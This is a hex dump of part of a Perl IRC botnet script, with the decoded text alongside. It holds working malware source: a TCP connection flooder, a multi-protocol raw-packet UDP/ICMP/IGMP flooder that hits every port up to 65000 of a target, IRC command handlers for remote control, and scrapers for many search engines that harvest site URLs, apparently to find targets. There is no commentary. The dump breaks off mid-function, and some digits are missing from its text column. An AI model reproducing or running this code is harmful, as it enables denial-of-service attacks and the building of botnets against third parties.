55712: 2C246A2C246C2C2474293B0D0A2020202469613D696E65745F61746F6E28245F          ,$j,$l,$t); $ia=inet_aton($_
55744: 5B305D293B0D0A2020202470613D736F636B616464725F696E28245F5B315D2C          [ ]); $pa=sockaddr_in($_[1],
55776: 246961293B0D0A202020246674696D653D245F5B325D3B0D0A2020202470726F          $ia); $ftime=$_[2]; $pro
55808: 746F3D67657470726F746F62796E616D65282774637027293B0D0A202020246A          to=getprotobyname('tcp'); $j
55840: 3D303B246C3D303B0D0A202020246375725F74696D65203D2074696D65202D20          = ;$l= ; $cur_time = time -
55872: 246974696D653B0D0A2020207768696C652028246C3C31303030297B0D0A2020          $itime; while ($l<1   ){
55904: 20202020246375725F74696D65203D2074696D65202D20246974696D653B0D0A          $cur_time = time - $itime;
55936: 2020202020206C61737420696620246375725F74696D65203E3D20246674696D          last if $cur_time >= $ftim
55968: 653B0D0A20202020202024743D22534F434B246C223B0D0A202020202020736F          e; $t="SOCK$l"; so
56000: 636B65742824742C50465F494E45542C534F434B5F53545245414D2C2470726F          cket($t,PF_INET,SOCK_STREAM,$pro
56032: 746F293B0D0A202020202020636F6E6E6563742824742C247061297C7C246A2D          to); connect($t,$pa)||$j-
56064: 2D3B0D0A202020202020246A2B2B3B0D0A202020202020246C2B2B3B0D0A2020          -; $j++; $l++;
56096: 207D0D0A202020246C3D303B0D0A2020207768696C652028246C3C3130303029          } $l= ; while ($l<1   )
56128: 7B0D0A202020202020246375725F74696D65203D2074696D65202D2024697469          { $cur_time = time - $iti
56160: 6D653B0D0A2020202020206C61737420696620246375725F74696D65203E3D20          me; last if $cur_time >=
56192: 246674696D653B0D0A20202020202024743D22534F434B246C223B0D0A202020          $ftime; $t="SOCK$l";
56224: 20202073687574646F776E2824742C32293B0D0A202020202020246C2B2B3B0D          shutdown($t,2); $l++;
56256: 0A2020207D0D0A7D0D0A0D0A73756220756470666C6F6F646572207B0D0A2020          } } sub udpflooder {
56288: 206D7920246961646472203D20696E65745F61746F6E28245F5B305D293B0D0A          my $iaddr = inet_aton($_[ ]);
56320: 2020206D7920246D7367203D20274127207820245F5B315D3B0D0A2020206D79          my $msg = 'A' x $_[1]; my
56352: 20246674696D65203D20245F5B325D3B0D0A2020206D7920246370203D20303B          $ftime = $_[2]; my $cp =  ;
56384: 0D0A2020206D792028257061636F746573293B0D0A202020247061636F746573          my (%pacotes); $pacotes
56416: 7B69636D707D203D20247061636F7465737B69676D707D203D20247061636F74          {icmp} = $pacotes{igmp} = $pacot
56448: 65737B7564707D203D20247061636F7465737B6F7D203D20247061636F746573          es{udp} = $pacotes{o} = $pacotes
56480: 7B7463707D203D20303B0D0A202020736F636B657428534F434B312C2050465F          {tcp} =  ; socket(SOCK1, PF_
56512: 494E45542C20534F434B5F5241572C203229206F72202463702B2B3B0D0A2020          INET, SOCK_RAW, 2) or $cp++;
56544: 20736F636B657428534F434B322C2050465F494E45542C20534F434B5F444752          socket(SOCK2, PF_INET, SOCK_DGR
56576: 414D2C20313729206F72202463702B2B3B0D0A202020736F636B657428534F43          AM, 17) or $cp++; socket(SOC
56608: 4B332C2050465F494E45542C20534F434B5F5241572C203129206F7220246370          K3, PF_INET, SOCK_RAW, 1) or $cp
56640: 2B2B3B0D0A202020736F636B657428534F434B342C2050465F494E45542C2053          ++; socket(SOCK4, PF_INET, S
56672: 4F434B5F5241572C203629206F72202463702B2B3B0D0A20202072657475726E          OCK_RAW, 6) or $cp++; return
56704: 28756E6465662920696620246370203D3D20343B0D0A2020206D792024697469          (undef) if $cp == 4; my $iti
56736: 6D65203D2074696D653B0D0A2020206D792028246375725F74696D65293B0D0A          me = time; my ($cur_time);
56768: 2020207768696C65202820312029207B0D0A202020202020666F7220286D7920          while ( 1 ) { for (my
56800: 24706F727461203D20313B2024706F727461203C3D2036353030303B2024706F          $porta = 1; $porta <= 65   ; $po
56832: 7274612B2B29207B0D0A202020202020202020246375725F74696D65203D2074          rta++) { $cur_time = t
56864: 696D65202D20246974696D653B0D0A2020202020202020206C61737420696620          ime - $itime; last if
56896: 246375725F74696D65203E3D20246674696D653B0D0A20202020202020202073          $cur_time >= $ftime; s
56928: 656E6428534F434B312C20246D73672C20302C20736F636B616464725F696E28          end(SOCK1, $msg,  , sockaddr_in(
56960: 24706F7274612C20246961646472292920616E6420247061636F7465737B6967          $porta, $iaddr)) and $pacotes{ig
56992: 6D707D2B2B3B0D0A20202020202020202073656E6428534F434B322C20246D73          mp}++; send(SOCK2, $ms
57024: 672C20302C20736F636B616464725F696E2824706F7274612C20246961646472          g,  , sockaddr_in($porta, $iaddr
57056: 292920616E6420247061636F7465737B7564707D2B2B3B0D0A20202020202020          )) and $pacotes{udp}++;
57088: 202073656E6428534F434B332C20246D73672C20302C20736F636B616464725F          send(SOCK3, $msg,  , sockaddr_
57120: 696E2824706F7274612C20246961646472292920616E6420247061636F746573          in($porta, $iaddr)) and $pacotes
57152: 7B69636D707D2B2B3B0D0A20202020202020202073656E6428534F434B342C20          {icmp}++; send(SOCK4,
57184: 246D73672C20302C20736F636B616464725F696E2824706F7274612C20246961          $msg,  , sockaddr_in($porta, $ia
57216: 646472292920616E6420247061636F7465737B7463707D2B2B3B0D0A20202020          ddr)) and $pacotes{tcp}++;
57248: 2020202020666F7220286D7920247063203D20333B20247063203C3D20323535          for (my $pc = 3; $pc <= 255
57280: 3B2470632B2B29207B0D0A2020202020202020202020206E6578742069662024          ;$pc++) { next if $
57312: 7063203D3D20363B0D0A202020202020202020202020246375725F74696D6520          pc == 6; $cur_time
57344: 3D2074696D65202D20246974696D653B0D0A2020202020202020202020206C61          = time - $itime; la
57376: 737420696620246375725F74696D65203E3D20246674696D653B0D0A20202020          st if $cur_time >= $ftime;
57408: 2020202020202020736F636B657428534F434B352C2050465F494E45542C2053          socket(SOCK5, PF_INET, S
57440: 4F434B5F5241572C2024706329206F72206E6578743B0D0A2020202020202020          OCK_RAW, $pc) or next;
57472: 2020202073656E6428534F434B352C20246D73672C20302C20736F636B616464          send(SOCK5, $msg,  , sockadd
57504: 725F696E2824706F7274612C20246961646472292920616E6420247061636F74          r_in($porta, $iaddr)) and $pacot
57536: 65737B6F7D2B2B3B0D0A2020202020202020207D0D0A2020202020207D0D0A20          es{o}++; } }
57568: 20202020206C61737420696620246375725F74696D65203E3D20246674696D65          last if $cur_time >= $ftime
57600: 3B0D0A2020207D0D0A20202072657475726E28246375725F74696D652C202570          ; } return($cur_time, %p
57632: 61636F746573293B0D0A7D0D0A0D0A7375622063746370207B0D0A2020207265          acotes); } sub ctcp { re
57664: 7475726E20756E6C6573732024235F203D3D20313B0D0A20202073656E647261          turn unless $#_ == 1; sendra
57696: 772822505249564D534720245F5B305D203A5C303031245F5B315D5C30303122          w("PRIVMSG $_[ ] :\  1$_[1]\  1"
57728: 293B0D0A7D0D0A0D0A737562206D7367207B0D0A20202072657475726E20756E          ); } sub msg { return un
57760: 6C6573732024235F203D3D20313B0D0A20202073656E64726177282250524956          less $#_ == 1; sendraw("PRIV
57792: 4D534720245F5B305D203A245F5B315D22293B0D0A7D0D0A0D0A737562206E6F          MSG $_[ ] :$_[1]"); } sub no
57824: 74696365207B0D0A20202072657475726E20756E6C6573732024235F203D3D20          tice { return unless $#_ ==
57856: 313B0D0A20202073656E6472617728224E4F5449434520245F5B305D203A245F          1; sendraw("NOTICE $_[ ] :$_
57888: 5B315D22293B0D0A7D0D0A0D0A737562206F70207B0D0A20202072657475726E          [1]"); } sub op { return
57920: 20756E6C6573732024235F203D3D20313B0D0A20202073656E6472617728224D          unless $#_ == 1; sendraw("M
57952: 4F444520245F5B305D202B6F20245F5B315D22293B0D0A7D0D0A0D0A73756220          ODE $_[ ] +o $_[1]"); } sub
57984: 64656F70207B0D0A20202072657475726E20756E6C6573732024235F203D3D20          deop { return unless $#_ ==
58016: 313B0D0A20202073656E6472617728224D4F444520245F5B305D202D6F20245F          1; sendraw("MODE $_[ ] -o $_
58048: 5B315D22293B0D0A7D0D0A0D0A737562206A207B0D0A202020266A6F696E2840          [1]"); } sub j { &join(@
58080: 5F293B0D0A7D0D0A0D0A737562206A6F696E207B0D0A20202072657475726E20          _); } sub join { return
58112: 756E6C6573732024235F203D3D20303B0D0A20202073656E6472617728224A4F          unless $#_ ==  ; sendraw("JO
58144: 494E20245F5B305D22293B0D0A7D0D0A0D0A7375622070207B0D0A2020207061          IN $_[ ]"); } sub p { pa
58176: 727428405F293B0D0A7D0D0A0D0A7375622070617274207B0D0A20202073656E          rt(@_); } sub part { sen
58208: 6472617728225041525420245F5B305D22293B0D0A7D0D0A0D0A737562206E69          draw("PART $_[ ]"); } sub ni
58240: 636B207B0D0A20202072657475726E20756E6C6573732024235F203D3D20303B          ck { return unless $#_ ==  ;
58272: 0D0A20202073656E6472617728224E49434B20245F5B305D22293B0D0A7D0D0A          sendraw("NICK $_[ ]"); }
58304: 0D0A7375622071756974207B0D0A20202073656E64726177282251554954203A          sub quit { sendraw("QUIT :
58336: 245F5B305D22293B0D0A7D0D0A0D0A73756220666574636828297B0D0A202020          $_[ ]"); } sub fetch(){
58368: 6D792024726E643D28696E742872616E6428393939392929293B0D0A2020206D          my $rnd=(int(rand(9999))); m
58400: 7920246E3D2038303B0D0A2020206966202824726E643C3530303029207B0D0A          y $n= 8 ; if ($rnd<5   ) {
58432: 202020202020246E3C3C3D313B0D0A2020207D0D0A2020206D792024733D2028          $n<<=1; } my $s= (
58464: 696E742872616E642831302929202A20246E293B0D0A2020206D792040646F6D          int(rand(1 )) * $n); my @dom
58496: 696E696F73203D20282272656D6F7665642D7468656D2D616C6C22293B0D0A20          inios = ("removed-them-all");
58528: 20206D7920407374723B0D0A202020666F72656163682024646F6D2020284064          my @str; foreach $dom (@d
58560: 6F6D696E696F73297B0D0A202020202020707573682028407374722C22406773          ominios){ push (@str,"@gs
58592: 7472696E6722293B0D0A2020207D0D0A2020206D79202471756572793D227777          tring"); } my $query="ww
58624: 772E676F6F676C652E636F6D2F7365617263683F713D223B0D0A202020247175          w.google.com/search?q="; $qu
58656: 6572792E3D247374725B2872616E64287363616C617228407374722929295D3B          ery.=$str[(rand(scalar(@str)))];
58688: 0D0A2020202471756572792E3D22266E756D3D246E2673746172743D2473223B          $query.="&num=$n&start=$s";
58720: 0D0A2020206D7920406C73743D28293B0D0A20202073656E6472617728227072          my @lst=(); sendraw("pr
58752: 69766D736720236465627567203A4445425547206F6E6C79207465737420676F          ivmsg #debug :DEBUG only test go
58784: 6F676C696E673A20222E2471756572792E2222293B0D0A2020206D7920247061          ogling: ".$query.""); my $pa
58816: 6765203D20687474705F717565727928247175657279293B0D0A202020776869          ge = http_query($query); whi
58848: 6C6520282470616765203D7E20206D2F3C6120687265663D5C223F687474703A          le ($page =~ m/<a href=\"?http:
58880: 5C2F5C2F285B5E3E5C225D2B295C223F20636C6173733D6C3E2F67297B0D0A20          \/\/([^>\"]+)\"? class=l>/g){
58912: 202020202069662028243120217E206D2F676F6F676C657C63616368657C7472          if ($1 !~ m/google|cache|tr
58944: 616E736C6174652F297B0D0A202020202020202020707573682028406C73742C          anslate/){ push (@lst,
58976: 2431293B0D0A2020202020207D0D0A2020207D0D0A20202072657475726E2028          $1); } } return (
59008: 406C7374293B0D0A0D0A737562207961686F6F28297B0D0A6D7920406C73743B          @lst); sub yahoo(){ my @lst;
59040: 0D0A6D7920246B6579203D20245F5B305D3B0D0A666F722824623D313B24623C          my $key = $_[ ]; for($b=1;$b<
59072: 3D313030303B24622B3D313030297B0D0A6D79202459613D2822687474703A2F          =1   ;$b+=1  ){ my $Ya=("http:/
59104: 2F7365617263682E7961686F6F2E636F6D2F7365617263683F65693D5554462D          /search.yahoo.com/search?ei=UTF-
59136: 3826703D222E6B657928246B6579292E22266E3D3130302666723D7366702662          8&p=".key($key)."&n=1  &fr=sfp&b
59168: 3D222E2462293B0D0A6D7920245265733D717565727928245961293B0D0A7768          =".$b); my $Res=query($Ya); wh
59200: 696C652824526573203D7E206D2F5C3C7370616E20636C6173733D7973636875          ile($Res =~ m/\<span class=yschu
59232: 726C3E282E2B3F295C3C5C2F7370616E3E2F67297B0D0A6D7920246B3D24313B          rl>(.+?)\<\/span>/g){ my $k=$1;
59264: 0D0A246B3D7E732F3C623E2F2F673B0D0A246B3D7E732F3C5C2F623E2F2F673B          $k=~s/<b>//g; $k=~s/<\/b>//g;
59296: 0D0A246B3D7E732F3C7762723E2F2F673B0D0A6D792040677265703D6C696E6B          $k=~s/<wbr>//g; my @grep=link
59328: 7328246B293B0D0A7075736828406C73742C4067726570293B0D0A7D7D0D0A72          s($k); push(@lst,@grep); }} r
59360: 657475726E20406C73743B0D0A7D0D0A0D0A737562206D736E28297B0D0A6D79          eturn @lst; } sub msn(){ my
59392: 20406C73743B0D0A6D7920246B6579203D20245F5B305D3B0D0A666F72282462          @lst; my $key = $_[ ]; for($b
59424: 3D313B24623C3D313030303B24622B3D3130297B0D0A6D7920246D736E3D2822          =1;$b<=1   ;$b+=1 ){ my $msn=("
59456: 687474703A2F2F7365617263682E6D736E2E64652F726573756C74732E617370          http://search.msn.de/results.asp
59488: 783F713D222E6B657928246B6579292E222666697273743D222E24622E222646          x?q=".key($key)."&first=".$b."&F
59520: 4F524D3D504F524522293B0D0A6D7920245265733D717565727928246D736E29          ORM=PORE"); my $Res=query($msn)
59552: 3B0D0A7768696C652824526573203D7E206D2F3C6120687265663D5C223F6874          ; while($Res =~ m/<a href=\"?ht
59584: 74703A5C2F5C2F285B5E3E5C225D2A295C2F2F67297B0D0A696628243120217E          tp:\/\/([^>\"]*)\//g){ if($1 !~
59616: 202F6D736E7C6C6976652F297B0D0A6D7920246B3D24313B0D0A6D7920406772          /msn|live/){ my $k=$1; my @gr
59648: 65703D6C696E6B7328246B293B0D0A7075736828406C73742C4067726570293B          ep=links($k); push(@lst,@grep);
59680: 0D0A7D7D7D0D0A72657475726E20406C73743B0D0A7D0D0A0D0A737562206C79          }}} return @lst; } sub ly
59712: 636F7328297B0D0A6D792024696E697A696F3D303B0D0A6D792024706167696E          cos(){ my $inizio= ; my $pagin
59744: 653D32303B0D0A6D7920246B65793D245F5B305D3B0D0A6D79202461763D303B          e=2 ; my $key=$_[ ]; my $av= ;
59776: 0D0A6D7920406C73743B0D0A7768696C652824696E697A696F203C3D20247061          my @lst; while($inizio <= $pa
59808: 67696E65297B0D0A6D7920246C79636F733D22687474703A2F2F736561726368          gine){ my $lycos="http://search
59840: 2E6C79636F732E636F6D2F3F71756572793D222E6B657928246B6579292E2226          .lycos.com/?query=".key($key)."&
59872: 706167653D246176223B0D0A6D7920245265733D717565727928246C79636F73          page=$av"; my $Res=query($lycos
59904: 293B0D0A7768696C652028245265733D7E206D2F3C7370616E20636C6173733D          ); while ($Res=~ m/<span class=
59936: 5C223F67726E4C6E6B20736D616C6C5C223F3E687474703A5C2F5C2F282E2B3F          \"?grnLnk small\"?>http:\/\/(.+?
59968: 295C2F2F6720297B0D0A6D7920246B3D222431223B0D0A6D792040677265703D          )\//g ){ my $k="$1"; my @grep=
60000: 6C696E6B7328246B293B0D0A7075736828406C73742C4067726570293B0D0A7D          links($k); push(@lst,@grep); }
60032: 0D0A24696E697A696F2B2B3B0D0A2461762B2B3B0D0A7D0D0A72657475726E20          $inizio++; $av++; } return
60064: 406C73743B0D0A7D0D0A0D0A23232323230D0A73756220616F6C28297B0D0A6D          @lst; } ##### sub aol(){ m
60096: 7920406C73743B0D0A6D7920246B6579203D20245F5B305D3B0D0A666F722824          y @lst; my $key = $_[ ]; for($
60128: 623D313B24623C3D3130303B24622B2B297B0D0A6D792024416F4C3D28226874          b=1;$b<=1  ;$b++){ my $AoL=("ht
60160: 74703A2F2F7365617263682E616F6C2E636F6D2F616F6C2F7365617263683F71          tp://search.aol.com/aol/search?q
60192: 756572793D222E6B657928246B6579292E2226706167653D222E24622E22266E          uery=".key($key)."&page=".$b."&n
60224: 743D6E756C6C2669653D5554462D3822293B0D0A6D7920245265733D71756572          t=null&ie=UTF-8"); my $Res=quer
60256: 792824416F4C293B0D0A7768696C652824526573203D7E206D2F3C7020636C61          y($AoL); while($Res =~ m/<p cla
60288: 73733D5C2264656C657465645C222070726F70657274793D5C22663A75726C5C          ss=\"deleted\" property=\"f:url\
60320: 223E687474703A5C2F5C2F282E2B3F295C3C5C2F703E2F67297B0D0A6D792024          ">http:\/\/(.+?)\<\/p>/g){ my $
60352: 6B3D24313B0D0A6D792040677265703D6C696E6B7328246B293B0D0A70757368          k=$1; my @grep=links($k); push
60384: 28406C73742C4067726570293B0D0A7D7D0D0A72657475726E20406C73743B0D          (@lst,@grep); }} return @lst;
60416: 0A7D0D0A23232323230D0A7375622061736B28297B0D0A6D7920406C73743B0D          } ##### sub ask(){ my @lst;
60448: 0A6D7920246B65793D245F5B305D3B0D0A6D792024693D303B0D0A6D79202470          my $key=$_[ ]; my $i= ; my $p
60480: 673D303B0D0A666F722824693D303B2024693C3D313030303B2024692B3D3130          g= ; for($i= ; $i<=1   ; $i+=1 
60512: 290D0A7B0D0A6D79202441736B3D2822687474703A2F2F69742E61736B2E636F          ) { my $Ask=("http://it.ask.co
60544: 6D2F7765623F713D222E6B657928246B6579292E22266F3D333132266C3D6469          m/web?q=".key($key)."&o=312&l=di
60576: 7226717372633D3026706167653D222E24692E2226646D3D616C6C22293B0D0A          r&qsrc= &page=".$i."&dm=all");
60608: 6D7920245265733D7175657279282441736B293B0D0A7768696C652824526573          my $Res=query($Ask); while($Res
60640: 3D7E6D2F3C612069643D5C22282E2A3F295C2220636C6173733D5C22282E2A3F          =~m/<a id=\"(.*?)\" class=\"(.*?
60672: 295C2220687265663D5C22282E2B3F295C6F6E6D6F757365646F776E2F67297B          )\" href=\"(.+?)\onmousedown/g){
60704: 0D0A6D7920246B3D24333B0D0A246B3D7E732F5B5C225C205D2F2F673B0D0A6D          my $k=$3; $k=~s/[\"\ ]//g; m
60736: 792040677265703D6C696E6B7328246B293B0D0A7075736828406C73742C4067          y @grep=links($k); push(@lst,@g
60768: 726570293B0D0A7D7D0D0A72657475726E20406C73743B0D0A7D0D0A23232323          rep); }} return @lst; } ####
60800: 230D0A73756220616C6C74686577656228290D0A7B0D0A6D7920406C73743B0D          # sub alltheweb() { my @lst;
60832: 0A6D7920246B65793D245F5B305D3B0D0A6D792024693D303B0D0A6D79202470          my $key=$_[ ]; my $i= ; my $p
60864: 673D303B0D0A666F722824693D303B2024693C3D313030303B2024692B3D3130          g= ; for($i= ; $i<=1   ; $i+=1 
60896: 30290D0A7B0D0A6D792024616C6C3D2822687474703A2F2F7777772E616C6C74           ) { my $all=("http://www.allt
60928: 68657765622E636F6D2F7365617263683F6361743D776562265F73625F6C616E          heweb.com/search?cat=web&_sb_lan
60960: 673D616E7926686974733D31303026713D222E6B657928246B6579292E22266F          g=any&hits=1  &q=".key($key)."&o
60992: 3D222E2469293B0D0A6D7920245265733D71756572792824616C6C293B0D0A77          =".$i); my $Res=query($all); w
61024: 68696C652824526573203D7E206D2F3C7370616E20636C6173733D5C223F7265          hile($Res =~ m/<span class=\"?re
61056: 7355524C5C223F3E687474703A5C2F5C2F282E2B3F295C3C5C2F7370616E3E2F          sURL\"?>http:\/\/(.+?)\<\/span>/
61088: 67297B0D0A6D7920246B3D24313B0D0A246B3D7E732F202F2F673B0D0A6D7920          g){ my $k=$1; $k=~s/ //g; my
61120: 40677265703D6C696E6B7328246B293B0D0A7075736828406C73742C40677265          @grep=links($k); push(@lst,@gre
61152: 70293B0D0A7D7D0D0A72657475726E20406C73743B0D0A7D0D0A0D0A73756220          p); }} return @lst; } sub
61184: 676F6F676C6528297B0D0A6D7920406C73743B0D0A6D7920246B6579203D2024          google(){ my @lst; my $key = $
61216: 5F5B305D3B0D0A666F722824623D303B24623C3D3130303B24622B3D31303029          _[ ]; for($b= ;$b<=1  ;$b+=1  )
61248: 7B0D0A6D792024476F3D2822687474703A2F2F7777772E676F6F676C652E6974          { my $Go=("http://www.google.it
61280: 2F7365617263683F686C3D697426713D222E6B657928246B6579292E22266E75          /search?hl=it&q=".key($key)."&nu
61312: 6D3D3130302666696C7465723D302673746172743D222E2462293B0D0A6D7920          m=1  &filter= &start=".$b); my
61344: 245265733D71756572792824476F293B0D0A7768696C652824526573203D7E20          $Res=query($Go); while($Res =~
61376: 6D2F3C6120687265663D5C223F687474703A5C2F5C2F285B5E3E5C225D2A295C          m/<a href=\"?http:\/\/([^>\"]*)\
61408: 2F2F67297B0D0A69662028243120217E202F676F6F676C652F297B0D0A6D7920          //g){ if ($1 !~ /google/){ my
61440: 246B3D24313B0D0A6D792040677265703D6C696E6B7328246B293B0D0A707573          $k=$1; my @grep=links($k); pus
61472: 6828406C73742C4067726570293B0D0A7D7D7D0D0A72657475726E20406C7374          h(@lst,@grep); }}} return @lst
61504: 3B0D0A7D0D0A0D0A23232323230D0A232053554253205345415243480D0A2323          ; } ##### # SUBS SEARCH ##
61536: 2323230D0A7375622073656172636828297B0D0A6D7920406C73743B0D0A6D79          ### sub search(){ my @lst; my
61568: 20246B6579203D20245F5B305D3B0D0A666F722824623D303B24623C3D313030          $key = $_[ ]; for($b= ;$b<=1  
61600: 303B24622B3D313030297B0D0A6D7920247365723D2822687474703A2F2F7777           ;$b+=1  ){ my $ser=("http://ww
61632: 772E7365617263682E636F6D2F7365617263683F713D222E6B657928246B6579          w.search.com/search?q=".key($key
61664: 292E22222E2462293B0D0A6D7920245265733D71756572792824736572293B0D          )."".$b); my $Res=query($ser);
61696: 0A7768696C652824526573203D7E206D2F3C6120687265663D5C223F68747470          while($Res =~ m/<a href=\"?http
61728: 3A5C2F5C2F285B5E3E5C225D2A295C2F2F67297B0D0A69662028243120217E20          :\/\/([^>\"]*)\//g){ if ($1 !~
61760: 2F6D736E7C6C6976657C676F6F676C657C7961686F6F2F297B0D0A6D7920246B          /msn|live|google|yahoo/){ my $k
61792: 3D24313B0D0A6D792040677265703D6C696E6B7328246B293B0D0A7075736828          =$1; my @grep=links($k); push(
61824: 406C73742C4067726570293B0D0A7D7D7D0D0A72657475726E20406C73743B0D          @lst,@grep); }}} return @lst;
61856: 0A7D0D0A0D0A23232323230D0A232053554253204669726542616C6C0D0A2323          } ##### # SUBS FireBall ##
61888: 2323230D0A737562206669726562616C6C28297B0D0A6D7920246B65793D245F          ### sub fireball(){ my $key=$_
61920: 5B305D3B0D0A6D792024696E6963696F3D313B0D0A6D792024706167696E613D          [ ]; my $inicio=1; my $pagina=
61952: 3230303B0D0A6D7920406C73743B0D0A6D79202461763D303B0D0A7768696C65          2  ; my @lst; my $av= ; while
61984: 2824696E6963696F203C3D2024706167696E61297B0D0A6D7920246669726562          ($inicio <= $pagina){ my $fireb
62016: 616C6C3D22687474703A2F2F73756368652E6669726562616C6C2E64652F6367          all="http://suche.fireball.de/cg
62048: 692D62696E2F707572737569743F7061673D2461762671756572793D222E6B65          i-bin/pursuit?pag=$av&query=".ke
62080: 7928246B6579292E22266361743D66625F6C6F63266964783D616C6C26656E63          y($key)."&cat=fb_loc&idx=all&enc
62112: 3D7574662D38223B0D0A6D7920245265733D717565727928246669726562616C          =utf-8"; my $Res=query($firebal
62144: 6C293B0D0A7768696C652028245265733D7E206D2F3C6120687265663D5C223F          l); while ($Res=~ m/<a href=\"?
62176: 687474703A5C2F5C2F282E2B3F295C2F2F6720297B0D0A69662028243120217E          http:\/\/(.+?)\//g ){ if ($1 !~
62208: 202F6D736E7C6C6976657C676F6F676C657C7961686F6F2F297B0D0A6D792024          /msn|live|google|yahoo/){ my $
62240: 6B3D2224312F223B0D0A6D792040677265703D6C696E6B7328246B293B0D0A70          k="$1/"; my @grep=links($k); p
62272: 75736828406C73742C4067726570293B0D0A7D7D0D0A2461763D2461762B3130          ush(@lst,@grep); }} $av=$av+1 
62304: 3B0D0A24696E6963696F2B2B3B0D0A7D0D0A72657475726E20406C73743B0D0A          ; $inicio++; } return @lst;
62336: 7D0D0A23232323230D0A23205355425320554F4C0D0A23232323230D0A737562          } ##### # SUBS UOL ##### sub
62368: 20756F6C28297B0D0A6D7920406C73743B0D0A6D7920246B6579203D20245F5B          uol(){ my @lst; my $key = $_[
62400: 305D3B0D0A666F722824623D313B24623C3D313030303B24622B3D3130297B0D           ]; for($b=1;$b<=1   ;$b+=1 ){
62432: 0A6D792024556F4C3D2822687474703A2F2F62757363612E756F6C2E636F6D2E          my $UoL=("http://busca.uol.com.
62464: 62722F7777772F696E6465782E68746D6C3F713D222E6B657928246B6579292E          br/www/index.html?q=".key($key).
62496: 222673746172743D222E2469293B0D0A6D7920245265733D7175657279282455          "&start=".$i); my $Res=query($U
62528: 6F4C293B0D0A7768696C652824526573203D7E206D2F3C6120687265663D5C22          oL); while($Res =~ m/<a href=\"
62560: 687474703A5C2F5C2F285B5E3E5C225D2A292F67297B0D0A6D7920246B3D2431          http:\/\/([^>\"]*)/g){ my $k=$1
62592: 3B0D0A696628246B217E2F62757363617C756F6C7C7961686F6F2F297B0D0A6D          ; if($k!~/busca|uol|yahoo/){ m
62624: 7920246B3D24313B0D0A6D792040677265703D6C696E6B7328246B293B0D0A70          y $k=$1; my @grep=links($k); p
62656: 75736828406C73742C4067726570293B0D0A7D7D7D0D0A72657475726E20406C          ush(@lst,@grep); }}} return @l
62688: 73743B0D0A7D0D0A0D0A23232323230D0A2320416C746176697374610D0A2323          st; } ##### # Altavista ##
62720: 2323230D0A73756220616C7461766973746128297B0D0A6D7920406C73743B0D          ### sub altavista(){ my @lst;
62752: 0A6D7920246B6579203D20245F5B305D3B0D0A666F722824623D313B24623C3D          my $key = $_[ ]; for($b=1;$b<=
62784: 313030303B24622B3D3130297B0D0A6D792024416C543D2822687474703A2F2F          1   ;$b+=1 ){ my $AlT=("http://
62816: 69742E616C746176697374612E636F6D2F7765622F726573756C74733F697461          it.altavista.com/web/results?ita
62848: 673D6F6479266B67733D30266B6C733D30266469733D3126713D222E6B657928          g=ody&kgs= &kls= &dis=1&q=".key(
62880: 246B6579292E22267374713D222E2462293B0D0A6D7920245265733D71756572          $key)."&stq=".$b); my $Res=quer
62912: 792824416C54293B0D0A7768696C6528245265733D7E6D2F3C7370616E20636C          y($AlT); while($Res=~m/<span cl
62944: 6173733D6E67726E3E282E2B3F295C2F2F67297B0D0A696628243120217E202F          ass=ngrn>(.+?)\//g){ if($1 !~ /
62976: 616C746176697374612F297B0D0A6D7920246B3D24313B0D0A246B3D7E732F3C          altavista/){ my $k=$1; $k=~s/<
63008: 2F2F673B0D0A246B3D7E732F202F2F673B0D0A6D792040677265703D6C696E6B          //g; $k=~s/ //g; my @grep=link
63040: 7328246B293B0D0A7075736828406C73742C4067726570293B0D0A7D7D7D0D0A          s($k); push(@lst,@grep); }}}
63072: 72657475726E20406C73743B0D0A7D0D0A0D0A73756220616C74617669737461          return @lst; } sub altavista
63104: 646528297B0D0A6D7920406C73743B0D0A6D7920246B6579203D20245F5B305D          de(){ my @lst; my $key = $_[ ]
63136: 3B0D0A666F722824623D313B24623C3D313030303B24622B3D3130297B0D0A6D          ; for($b=1;$b<=1   ;$b+=1 ){ m
63168: 792024416C543D2822687474703A2F2F64652E616C746176697374612E636F6D          y $AlT=("http://de.altavista.com
63200: 2F7765622F726573756C74733F697461673D6F6479266B67733D30266B6C733D          /web/results?itag=ody&kgs= &kls=
63232: 30266469733D3126713D222E6B657928246B6579292E22267374713D222E2462           &dis=1&q=".key($key)."&stq=".$b
63264: 293B0D0A6D7920245265733D71756572792824416C54293B0D0A7768696C6528          ); my $Res=query($AlT); while(
63296: 245265733D7E6D2F3C7370616E20636C6173733D6E67726E3E282E2B3F295C2F          $Res=~m/<span class=ngrn>(.+?)\/
63328: 2F67297B0D0A696628243120217E202F616C746176697374612F297B0D0A6D79          /g){ if($1 !~ /altavista/){ my
63360: 20246B3D24313B0D0A246B3D7E732F3C2F2F673B0D0A246B3D7E732F202F2F67          $k=$1; $k=~s/<//g; $k=~s/ //g
63392: 3B0D0A6D792040677265703D6C696E6B7328246B293B0D0A7075736828406C73          ; my @grep=links($k); push(@ls
63424: 742C4067726570293B0D0A7D7D7D0D0A72657475726E20406C73743B0D0A7D0D          t,@grep); }}} return @lst; }
63456: 0A0D0A73756220616C74617669737461757328297B0D0A6D7920406C73743B0D          sub altavistaus(){ my @lst;
63488: 0A6D7920246B6579203D20245F5B305D3B0D0A666F722824623D313B24623C3D          my $key = $_[ ]; for($b=1;$b<=
63520: 313030303B24622B3D3130297B0D0A6D792024416C543D2822687474703A2F2F          1   ;$b+=1 ){ my $AlT=("http://
63552: 75732E616C746176697374612E636F6D2F7765622F726573756C74733F697461          us.altavista.com/web/results?ita
63584: 673D6F6479266B67733D30266B6C733D30266469733D3126713D222E6B657928          g=ody&kgs= &kls= &dis=1&q=".key(
63616: 246B6579292E22267374713D222E2462293B0D0A6D7920245265733D71756572          $key)."&stq=".$b); my $Res=quer
63648: 792824416C54293B0D0A7768696C6528245265733D7E6D2F3C7370616E20636C          y($AlT); while($Res=~m/<span cl
63680: 6173733D6E67726E3E282E2B3F295C2F2F67297B0D0A696628243120217E202F          ass=ngrn>(.+?)\//g){ if($1 !~ /
63712: 616C746176697374612F297B0D0A6D7920246B3D24313B0D0A246B3D7E732F3C          altavista/){ my $k=$1; $k=~s/<
63744: 2F2F673B0D0A246B3D7E732F202F2F673B0D0A6D792040677265703D6C696E6B          //g; $k=~s/ //g; my @grep=link
63776: 7328246B293B0D0A7075736828406C73742C4067726570293B0D0A7D7D7D0D0A          s($k); push(@lst,@grep); }}}
63808: 72657475726E20406C73743B0D0A7D0D0A0D0A23232323230D0A2320486F7442          return @lst; } ##### # HotB
63840: 6F740D0A23232323230D0A73756220686F74626F7428297B0D0A6D7920406C73          ot ##### sub hotbot(){ my @ls
